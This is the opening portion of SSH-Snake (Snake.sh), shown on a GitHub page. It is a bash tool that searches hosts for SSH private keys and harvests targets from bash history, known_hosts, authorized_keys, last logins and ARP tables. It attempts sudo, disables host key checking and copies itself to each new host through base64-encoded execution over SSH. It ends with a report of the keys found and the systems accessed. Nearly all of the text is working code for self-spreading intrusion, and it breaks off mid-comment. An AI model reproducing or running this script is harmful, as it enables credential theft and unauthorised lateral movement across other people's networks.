-
Notifications
You must be signed in to change notification settings - Fork 191
/
Snake.sh
executable file
·2268 lines (1797 loc) · 94.8 KB
/
Snake.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#
# SSH-Snake: Automated SSH-Based Network Traversal
# Copyright (C) 2024 Joshua Rogers <https://joshua.hu/>, <https://github.com/MegaManSec/SSH-Snake>
# GPL 3 License. See LICENSE and COPYING for more.
#
export THIS_SCRIPT=$(cat <<"MAIN_SCRIPT" # DO NOT EDIT THIS LINE
######
######
# SETTINGS
######
######
######
######
# General Settings
######
######
ignore_user=0 # [0|1]: Consider a dest already scanned based only on the ip address. If user1@host is accessed, further access to user2@host will not re-run scans. This may be useful in an environment where sudo is accessible by every user (because user1@host can already access the keys that user2@host can access).
use_sudo=1 # [1|0]: Attempt to use sudo on the dest. This may generate a large amount of security-related logs and can be extremely noisy.
ssh_timeout=3 # [3|n]: The connection timeout for ssh and DNS resolution. See ssh_config(5)'s ConnectTimeout.
retry_count=3 # [3|n]: In some cases, a recoverable error in ssh may be encountered (such as trying to access an an AWS instance with a disabled username). This number corresponds to the maximum amount of times the destination is tried again. It's generally advised to set this to at least 1.
ignored_users=() # ("ubuntu" "root"): A list of usernames that are always ignored. If we do somehow end up on a server with this username, we will print where we are but not scan the destination.
ignored_hosts=() # ("8.8.8.8" "example.com"): A list of hosts that are always ignored. If we do somehow end up on a server with this host, we will print where we are but not scan the destination. Best if it's an ip address.
ignored_dests=() # ("root@10.2.3.4" "user@host.com"): A list of destinations that are always ignored. If we do somehow end up on a server with this destination address, we will print where we are but not scan the destination.
ignored_key_files=("*badcert.pem*" "*badkey.pem*") # ("*badkey*" "*testkey*" "/etc/ssh/*" "/root/*/keys"): A list of locations that are ignored when searching for ssh keys. This setting supports globbing/wildcards using the standard asterisk as in any other bash script. Note that for example, "/dir/*/file" will also match "/dir/dir2/dir3/file".
custom_cmds=() # (): A list of commands that should be run after the script has been initialized and recursion has been checked. This means the commands will only be run ONCE when a destination is discovered for the first time. This list also supports sudo (if available), and can be used by using ${s} as a literal. For example, custom_cmds=('${s} ls /root')
######
######
# Private Key Discovery Settings
######
######
scan_paths=() # ("/home/*/" "/root/"): A list containing files or directories which should be searched for SSH private keys. Note that discovery of private keys is an intensive procedure, and scanning paths with many possible private key files can be slow. This setting supports globbing/wildcards using the standard asterisk as in any other bash script. For example, scan_paths=("/etc/*/keys" "/tmp/").
scan_paths_depth=3 # [3|n]: If using scan_paths, specify the max-depth. Set to 99999 or some high number to have no restriction.
######
######
# Username and Host Discovery Settings
######
######
use_find_from_hosts=1 # [1|0]: Attempt to find hosts using /etc/hosts
use_find_arp_neighbours=1 # [1|0]: arp neighbours may be interesting hosts.
use_find_d_block=0 # [0|1]: If we are connected to, for example, 10.1.2.3, it may be interesting to attempt to connect to 10.1.2.0-10.1.2.3.255, therefore we add these to a list of potential hosts.
######
######
# Destination (user@host) Discovery Settings
######
######
use_find_from_authorized_keys=1 # [1|0]: authorized_keys files may contain a directive to only allow SSH from certain hosts. These are interesting, so try them.
use_find_from_last=1 # [1|0]: Check the last logins to this destination and attempt to ssh back to any addresses that have connected here before
use_find_from_prev_dest=1 # [1|0]: When a destination has been ssh'd into, attempt to SSH (with any keys found) back to the destination that we connected from.
use_find_from_known_hosts=1 # [1|0]: known_hosts files may contain hosts which have previously been SSH'd into.
use_find_from_hashed_known_hosts=0 # [0|1]: known_hosts files may contain hosts which have previously been SSH'd into. However, ssh's HashKnownHosts option hashes the host files. We can try to brute force, which we do by brute-forcing the c and d blocks of the current destination's ip add>
# It may be interesting to attempt to ssh into all of the destinations that have previously been ssh'd into by previously scanned destinations.
# Although we can't find a direct link using one of the strategies on the destination from destinations A->C doesn't mean the key won't be accepted (where B->C has already been found).
# Therefore, there are a few strategies for discovering these links.
# There are four possible values for this setting:
#
# 0: Nothing.
# 1: Attempt to ssh into any destinations that up until the beginning of this script running, have been successfully connected to (by PREVIOUS destinations). For example: A->B->C. C will attempt to connect to B and A, B will attempt to connect to A.
# 2: In addition to #1, also attempt to ssh into any destinations that are indirectly connected to this destination in the the future. For example: A->B->C. As above, but A will also attempt to connect to C.
use_find_from_ignore_list=0 # [0|2]
# use_find_from_ignore_list is slightly flawed. Consider the following:
# A->B->C ; Normal scan
# A->D->C ; A->D discovered naturally, D->C discovered using use_find_from_ignore_list=1 or use_find_from_ignore_list=2.
# A->C ; A->C discovered using use_find_from_ignore_list=2.
# In this case, the link from C->D will not be discovered because destination D was first discovered after destination C has already been scanned.
# Since C has already been scanned, it won't be scanned again, thus losing the valuable data of C->D.
#
# Therefore, we have a completely different strategy.
# Once the scan is completely finished (i.e. the inital script that a human runs), the whole scan completely re-runs with each of the previously discovered destinations added to interesting_dests().
# Effectively, this means that every destination will be scanned by every other destination. at least once.
# On the re-run, we do NOT attempt to discover any NEW users/hosts/dests, only discover keys. This means that although new chains may be discovered, no new destinations will be discovered.
# Note: it is also possible that new destinations will be discovered with this method, due to some strange network routing, however this is not intentional. (see XXX: Should we report that this is a NEW destination?)
use_retry_all_dests=1 # [0|1]
######
######
# Destination AND Private Key Discovery Settings
######
######
use_find_from_bash_history=1 # [1|0]: bash_history files may contain calls to ssh, scp or rsync, which may contain clues for users, hosts, dests, and private key locations. This is one of the best discovery techniques to leave enabled.
use_find_from_ssh_config=1 # [1|0]: ssh_config files may contain usernames, hosts, and private key locations.
######
######
# Combinatorial Destination Discovery Settings
######
######
interesting_users=("$USER" "root") # ("$USER" "root"): A list of usernames which are always tried for every host that has been found if use_combinate_interesting_users_hosts=1.
interesting_hosts=("127.0.0.1") # ("127.0.0.1"): A list of hosts which which are always tried for every user that has been found if use_combinate_interesting_users_hosts=1.
interesting_dests=() # ("root@10.1.1.1"): A list of destinations which are always tried if use_combinate_interesting_users_hosts=1.
use_combinate_interesting_users_hosts=1 # [1|0]: Combine all interesting users with all hosts to create destinations. Combine all interesting hosts with all users to create destination. Combine all interesting users with all interesting hosts to create destinations.
use_combinate_users_hosts_aggressive=0 # [0|1]: Combine all found usernames with all found hosts into attempted destinations. This may result in massive growth of attempted destinations (100 usernames discovered with 100 hostnames will result in 10,000 attempted destinations).
#########
#########
######### Do not edit anything beyond this point unless you know what you're doing!
#########
#########
export LC_ALL="C"
export PATH="$PATH:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/bin"
declare -A priv_keys
declare -A key_files
declare -A home_folders
declare -A ssh_files
declare -A priv_keys_files
declare -A root_ssh_keys # Used only to keep track of the number of keys discovered.
declare -A root_ssh_hostnames_dests # Used only to keep track of the number of servers accessed. Format is the same as hostnames_chain: user@(host1:host2).
declare -A root_ssh_hosts_dests # Also used to keep track of the number of servers accessed. Format is the same as hosts_chain: user@host.
declare -A ssh_users
declare -A ssh_hosts
declare -A ssh_dests
declare -A _ignored_users
declare -A _ignored_hosts
declare -A _ignored_dests
declare -A _ignored_key_files
declare -A files
declare -A not_files
declare -A folders
declare -A not_folders
declare -A current_ips
declare -A ignore_list_array
_ignored_hosts["openssh.com"]=1
_ignored_hosts["255.255.255.255"]=1
# GLOBALS
ignore_separator="|"
ssh_options=(-oControlPath=none -oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
user="$USER"
script="$1"
hosts_chain="$(printf "%s" "$2" | base64 -d)" # This contains the exact chain we used to connect between servers.
hostnames_chain="$(printf "%s" "$5" | base64 -d)" # This contains the chain that includes all possible ip addresses of a server.
ignore_list="$3"
this_dest="$4"
this_host="${this_dest#*@}"
current_hostnames_ip=""
#current_hosts_ip=""
sshkeygen=("ssh-keygen" "-E" "md5" "-l" "-f")
indent=""
s=""
allowed_host_chars='[a-zA-Z0-9_.-]'
allowed_users_chars='[a-z_][a-z0-9_-]{0,31}'
# Print the title screen.
print_snake() {
cat << "EOF"
__ __ __ __
/ \ / \ / \ / \
____________________/ __\/ __\/ __\/ __\_______________________________,
___________________/ /__/ /__/ /__/ /__________________________________|
| / \ / \ / \ / \ \____ |
|/ \_/ \_/ \_/ \ o \ |
\_____/--< |
---_ ......._-_--. |
(|\ / / /| \ \ ? |
/ / .' -=-' `. . |
/ / .' ) ' |
_/ / .' _.) / _ -- ~~~ -- _ _______ |
/ o o _.-' / .' .-~ ~-.{__-----. : |
\ _.-' / .'*| / \ | | |
\______.-'// .'.' \*| : O O : | | |
\| \ | // .'.' _ |*| /\ /------' j |
` \|// .'.'_ _ _|*| { {/~-. .-~\~~~~~~~~~ |
. .// .'.' | _ _ \*| \/ / |~:- .___. -.~\ \ \ |
\`-|\_/ / \ _ _ \*\ / /\ \ | | { { \ \ } } \ \ |
`/'\__/ \ _ _ \*\ { { \ \ | \ \ \ \ / } } |
/^| \ _ _ \* \ \ /\ \ \ \ /\ \ { { |
' ` \ _ _ \ } } { { \ \ \ \/ / \ \ \ \ |
\_ / / } } \ \ }{ { \ \ } } |
___________________________ / / { { \ \{\ \ } { { |
( Written for the mediocre. ) / / } } } }\\ \ / / \ \ |
( By the mediocre. ) `-' { { `-'\ \`-'/ / `-' |
---------------------------- `-' `-' `-' |
^__^ o |
_______\)xx( o <https://github.com/MegaManSec/SSH-Snake> |
\/\) \)__( By Joshua Rogers <https://joshua.hu/> |
| w----|| U |
|| || GPL 3, of course. |
________________________~_____/^,___,-^\_________________~~_______________/`
EOF
}
# Print a summary of the settings we're using.
print_settings() {
local setting_keys
local setting_values
local max_key_length
local max_value_length
local i
setting_keys=("ignore_user" "use_sudo" "ssh_timeout" "retry_count" "scan_paths" "scan_paths_depth" "interesting_users" "interesting_hosts" "interesting_dests" "ignored_users" "ignored_hosts" "ignored_dests" "ignored_key_files" "custom_cmds" "use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
setting_values=("$ignore_user" "$use_sudo" "$ssh_timeout" "$retry_count" "${scan_paths[*]}" "$scan_paths_depth" "${interesting_users[*]}" "${interesting_hosts[*]}" "${interesting_dests[*]}" "${ignored_users[*]}" "${ignored_hosts[*]}" "${ignored_dests[*]}" "${ignored_key_files[*]}" "${custom_cmds[*]}" "$use_combinate_interesting_users_hosts" "$use_combinate_users_hosts_aggressive" "$use_find_from_hosts" "$use_find_from_last" "$use_find_from_authorized_keys" "$use_find_from_known_hosts" "$use_find_from_ssh_config" "$use_find_from_bash_history" "$use_find_arp_neighbours" "$use_find_d_block" "$use_find_from_hashed_known_hosts" "$use_find_from_prev_dest" "$use_find_from_ignore_list" "$use_retry_all_dests")
max_key_length=0
max_value_length=0
for ((i=0; i<${#setting_keys[@]}; i++)); do
key_length="${#setting_keys[$i]}"
value_length="${#setting_values[$i]}"
((key_length > max_key_length)) && max_key_length=$key_length
((value_length > max_value_length)) && max_value_length=$value_length
done
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "Setting" "$((max_value_length + 2))" "Value"
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
for ((i=0; i<${#setting_keys[@]}; i++)); do
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "${setting_keys[$i]}" "$((max_value_length + 2))" "${setting_values[$i]}"
done
printf "|%-*s|%-*s|\n\n\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
}
# Function to remove specific bash functions and their calls from the script passed via $1.
remove_functions() {
local this_script
local function_names
this_script="$1"
function_names="$2"
# Use awk to filter out the functions and their calls from the script
printf "%s" "$this_script" | awk -v fnames="$function_names" '
# ^func_name()
function is_func_line() {
for (i in funcs) {
if ($0 ~ "^" funcs[i] "\\(\\)") {
return 1
}
}
return 0
}
# [space][space][...] func_name
function is_func_call() {
for (i in funcs) {
if ($0 ~ "^[ ]*" funcs[i]) {
return 1
}
}
return 0
}
BEGIN {
split(fnames, funcs, " ");
in_func = 0
}
is_func_line() { in_func = 1; next }
# end of the function is ^}
/^\}/ { if (in_func) { in_func = 0; next } }
is_func_call() { next }
!in_func { print }
'
}
# Function to convert all final ssh destinations from root_ssh_hostnames_dests from the format user@(host1:host2:...) (aka hostnames_chain format) into user@host user@host2 ...
# Prints all user@host combinations, including those from root_ssh_hosts_dests (aka hosts_chain format)
# This is only used if use_retry_all_dests is set to 1.
gen_retried_interesting_dests() {
local ssh_dest
# ssh_dest format is user@(host1:host2)
# Output of this is \x22user@host1\x22\n\x22user@host2\x22
for ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
printf "%s" "$ssh_dest" | awk -F'[@():]' -v OFS='@' '
{
user = $1
for (i = 2; i <= NF; i++) {
if ($i != "" && user != "") {
print "\\x22" user "@" $i "\\x22"
}
}
}'
done
for ssh_dest in "${!root_ssh_hosts_dests[@]}"; do
printf "\\\x22%s\\\x22\n" "$ssh_dest"
done
}
# If the script is run for the first time (or: the script has not been executed with the script's contents as the first argument) it executes itself.
# It also removes any comments, unnecessary white-spaces, and unused functions from the script (including this one!), to save space for arguments.
shape_script() {
local line
local local_script
local opt_function_list
local opt_function
local ssh_dest
opt_function_list=("use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
for opt_function in "${opt_function_list[@]}"; do
if [[ ${!opt_function} -eq 0 ]]; then
remove_function+="${opt_function#use_} "
fi
# Two-off because use_find_from_ignore_list is variable from 0-2, and we use use_retry_all_dests to know we're inside a loop.
[[ "$opt_function" =~ use_find_from_ignore_list|use_retry_all_dests ]] && continue
remove_function+="$opt_function "
done
if [[ ${#custom_cmds[@]} -eq 0 ]]; then
remove_function+="exec_custom_cmds "
remove_function+="custom_cmds "
fi
if [[ ${#scan_paths[@]} -eq 0 || $scan_paths_depth -lt 1 ]]; then
remove_function+="find_ssh_keys_paths "
remove_function+="scan_paths "
remove_function+="scan_paths_depth "
fi
if [[ ${#ignored_users[@]} -eq 0 && ${#ignored_hosts[@]} -eq 0 && ${#ignored_dests[@]} -eq 0 ]]; then
remove_function+="init_ignored "
remove_function+="ignored_users ignored_hosts ignored_dests "
fi
if [[ $use_combinate_users_hosts_aggressive -eq 0 ]] && [[ ${#interesting_users[@]} -eq 0 || $use_combinate_interesting_users_hosts -eq 0 ]]; then
remove_function+="find_from_hosts find_arp_neighbours find_d_block " # These functions only find hosts, and since we have no interesting_users, we're never going to combinate them using combinate_interesting_users_hosts. XXX: Should we warn the user?
fi
if [[ $use_find_from_authorized_keys -eq 0 && $use_find_from_known_hosts -eq 0 && $use_find_from_hashed_known_hosts -eq 0 ]]; then # find_user_from_file is only used in these three functions.
remove_function+="find_user_from_file "
fi
if [[ $use_combinate_users_hosts_aggressive -eq 1 ]]; then
remove_function+="use_combinate_interesting_users_hosts combinate_interesting_users_hosts " # use_combinate_users_hosts_aggressive is a superset of combinate_interesting_users_hosts.
fi
if [[ $use_combinate_interesting_users_hosts -eq 0 && $use_combinate_users_hosts_aggressive -eq 0 ]]; then
remove_function+="interesting_hosts interesting_users "
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="interesting_dests "
fi
fi
if [[ ${#interesting_users[@]} -eq 0 && ${#interesting_hosts[@]} -eq 0 && ${#interesting_dests[@]} -eq 0 ]]; then
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="interesting_dests "
fi
remove_function+="combinate_interesting_users_hosts use_combinate_interesting_users_hosts "
remove_function+="interesting_users interesting_hosts "
fi
if [[ $use_find_from_ignore_list -eq 0 ]]; then
remove_function+="use_find_from_ignore_list "
fi
if [[ $use_retry_all_dests -eq 0 ]]; then
remove_function+="use_retry_all_dests "
fi
if [[ $use_sudo -eq 0 ]]; then
remove_function+="check_sudo use_sudo s= "
fi
if [[ ${#ignored_key_files[@]} -eq 0 ]]; then
remove_function+="ignored_key_files "
fi
# Remove this function
remove_function+="shape_script "
# Remove the fin_root function
remove_function+="fin_root "
# Remove the print_settings function
remove_function+="print_settings "
# Remove the remove_functions function
remove_function+="remove_functions "
# Remove the print_snake function
remove_function+="print_snake "
# Remove the gen_retried_interesting_dests function
remove_function+="gen_retried_interesting_dests "
# Remove the root_ssh_keys, root_ssh_hostnames_dests, and root_ssh_hosts_dests variables
remove_function+="root_ssh_keys root_ssh_hostnames_dests root_ssh_hosts_dests"
# TODO: We should remove declare -A root_ssh_keys, declare -A root_ssh_hostnames_dests, and declare -A root_ssh_hosts_dests somehow.
# Actually remove it all.
local_script="$(remove_functions "$THIS_SCRIPT" "$remove_function")"
# Remove all comments and unnecessary white-spaces.
local_script="$(printf "%s" "$local_script" | sed -e 's/^[ ]*//' -e 's/^#.*$//' -e 's/[ ]#.*//' -e '/^[ ]*$/d')"
# XXX: If we want to see what script we're running, then this is the place to print "$local_script". Or above the previous line.
# printf "%s" "$local_script"
while IFS= read -r line; do
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
root_ssh_keys["${line##* }"]=1
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then # Capture user@(host1:host2)
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then # capture user@host
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
fi
printf "[%s]" "$(date +%s)"
printf "%s\n" "$line"
done < <(echo 'printf "%s" "$1" | base64 -d | bash --noprofile --norc -s $1' | bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
[[ $use_retry_all_dests -eq 1 ]] || return
local retried_interesting_dests
retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
[[ "${#retried_interesting_dests}" -gt 0 ]] || return
printf "\n\n---------------------------------------\n\n"
printf "use_retry_all_dests=1. Re-starting.\n"
printf "%s destinations (from %s unique servers) added to interesting_dests.\n" "$(echo "$retried_interesting_dests" | wc -l)" "${#root_ssh_hostnames_dests[@]}"
retried_interesting_dests="$(echo "$retried_interesting_dests" | tr '\n' ' ')"
printf "\n---------------------------------------\n\n\n"
local_script="$(printf "%s" "$local_script" | sed 's/^interesting_dests=(/interesting_dests=('"$retried_interesting_dests"'/')"
local_script="$(printf "%s" "$local_script" | sed 's/^use_retry_all_dests=1/use_retry_all_dests=2/')"
# We do not want to find any new dests and so on, so remove all of the non-key functions.
# If you REALLY want to look for new users/hosts/dests using use_combinate_users_hosts_aggressive or combinate_interesting_users_hosts(interesting_users/interesting_hosts), then replace the following line with remove_function="retry_all_dests".
remove_function="find_from_authorized_keys find_from_hosts find_from_last find_arp_neighbours find_d_block find_from_ignore_list find_from_known_hosts find_from_hashed_known_hosts find_from_prev_dest combinate_users_hosts_aggressive combinate_interesting_users_hosts interesting_users interesting_hosts deduplicate_resolved_hosts_keys init_ignored ignored_users ignored_hosts ignored_dests find_user_from_file "
local_script="$(remove_functions "$local_script" "$remove_function")"
while IFS= read -r line; do
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
root_ssh_keys["${line##* }"]=1
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then # Capture user@(host1:host2)
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then # capture user@host
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
fi
printf "[%s]" "$(date +%s)"
printf "%s\n" "$line"
done < <(echo 'printf "%s" "$1" | base64 -d | bash --noprofile --norc -s $1' | bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
}
# If this is the first IP in the chain, prepare some data from the chain, which will be printed by the root script.
fin_root() {
local root_ssh_dest
declare -A root_ssh_hosts
for root_ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
root_ssh_hosts["${root_ssh_dest#*@}"]=1
done
printf "\n\n\n"
cat <<"EOF"
______
_.-"" ""-._
.-' `-.
.' __.----.__ `.
/ .-" "-. \
/ .' `. \
J / \ L
F J L J
J F J L
| J L |
| | | |
| J F |
J L J F
L J .-""""-. F J
J \ / \ __ / F
\ (|)(|)_ .-'".' .' /
\ \ /_>-' .<_.-' /
`. `-' .' .'
`--.|___.-'`._ _.-'
^ """"
.. ..
( '`< ( '`< ...Summary Report:
)( )(
( ----' '. ( ----' '.
( ; ( ;
(_______,' (_______,'
~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^
EOF
printf "Unique private keys discovered: %s\n" "${#root_ssh_keys[@]}"
printf "Unique shell accounts accessed: %s\n" "${#root_ssh_hostnames_dests[@]}"
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
cat <<"EOF"
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
EOF
printf -- "-- https://joshua.hu/ --\n"
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
printf "\nThanks for playing!\n"
}
# Check each of the required programs and bash version.
# Prints the missing command on fail.
check_commands() {
local required_commands
local required_command
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system.
for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then
echo "$required_command"
return
fi
done
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
echo "bash"
return
fi
}
# Ensures that the server is running bash and has all of the required inbuilts and programs required for the script to run.
# If a version of bash is not compatible with the script, it reports the version but does not continue.
# If any of the required programs/inbuilts are missing, it also reports the violation and quits.
check_startup() {
local missing_command
missing_command="$(check_commands)"
# This is the beginning of the main script: print_snake, print_settings, then shape_script (which executes the script via stdin)
if [[ -z "$script" ]]; then
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
elif [[ -n "$missing_command" ]]; then
printf "Could not begin because %s is not available!\n" "$missing_command"
exit 1
fi
print_snake
print_settings
shape_script
fin_root
exit 0
fi
if [[ -n "$missing_command" ]]; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
fi
if ! printf "%s" "$script" | base64 -d >/dev/null 2>&1; then
printf "Usage: bash %s >output.log\n" "$0"
exit 1
fi
}
# Prints the current $ignore_separator$user@$current_hostnames_ip$ignore_separator and exits.
# Also print the ignore list for $current_hosts_ip if $current_hosts_ip is set (aka $user@$current_hosts_ip is not in $current_hostnames_ip)
# This should only be called on a successful scan.
fin() {
printf "INTERNAL_MSG: ignore list: %s%s@%s%s\n" "$ignore_separator" "$user" "$current_hostnames_ip" "$ignore_separator"
# [[ -n "$current_hosts_ip" ]] && printf "INTERNAL_MSG: ignore list: %s%s@%s%s\n" "$ignore_separator" "$user" "$current_hosts_ip" "$ignore_separator" # XXX: Is this smart to do? Probably not: disabled until further notice.
exit 0
}
# If use_sudo is set, we check whether we are able to use sudo.
# If we can use sudo, set $s with the sudo command.
check_sudo() {
[[ $use_sudo -eq 1 ]] && sudo -n true >/dev/null 2>&1 && s="sudo"
}
# Different versions of ssh-keygen support different options.
# Older versions of ssh-keygen do not support the -E argument to specify the hashing method of a public key, instead only allowing MD5.
# Therefore, check whether we can use -E, and if not, set $sshkeygen to ssh-keygen -lf.
check_sshkeygen() {
[[ "$(ssh-keygen -E 2>&1)" == *"unknown option"* ]] && sshkeygen=("ssh-keygen" "-l" "-f")
}
# Older versions of ssh-keygen do not support the appending of HostkeyAlgorithms and KexAlgorithms values.
# Don't use them unless they're supported.
check_ssh_options() {
local ssh_extra_options
local ssh_extra_option
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1)
for ssh_extra_option in "${ssh_extra_options[@]}"; do
[[ "$(ssh "$ssh_extra_option" 2>&1)" =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms|Bad\ key\ types|diffie-hellman-group1-sha1|ssh-rsa ]] || ssh_options+=("$ssh_extra_option")
done
ssh_extra_option="-oPubkeyAcceptedKeyTypes=+ssh-rsa"
[[ "$(ssh "$ssh_extra_option" 2>&1)" =~ Bad\ configuration\ option|pubkeyacceptedkeytypes ]] || ssh_options+=("$ssh_extra_option")
}
# Determining the ip address of the current destination is difficult because it may have multiple ip addresses, and we are likely to connect to both of them eventually (including 127.0.0.1 for example).
# This means that we effectively have multiple hosts despite it being the same destination, meaning pathways may be left mangled (A->B->C exists, and A->C exists too but with a different ip address).
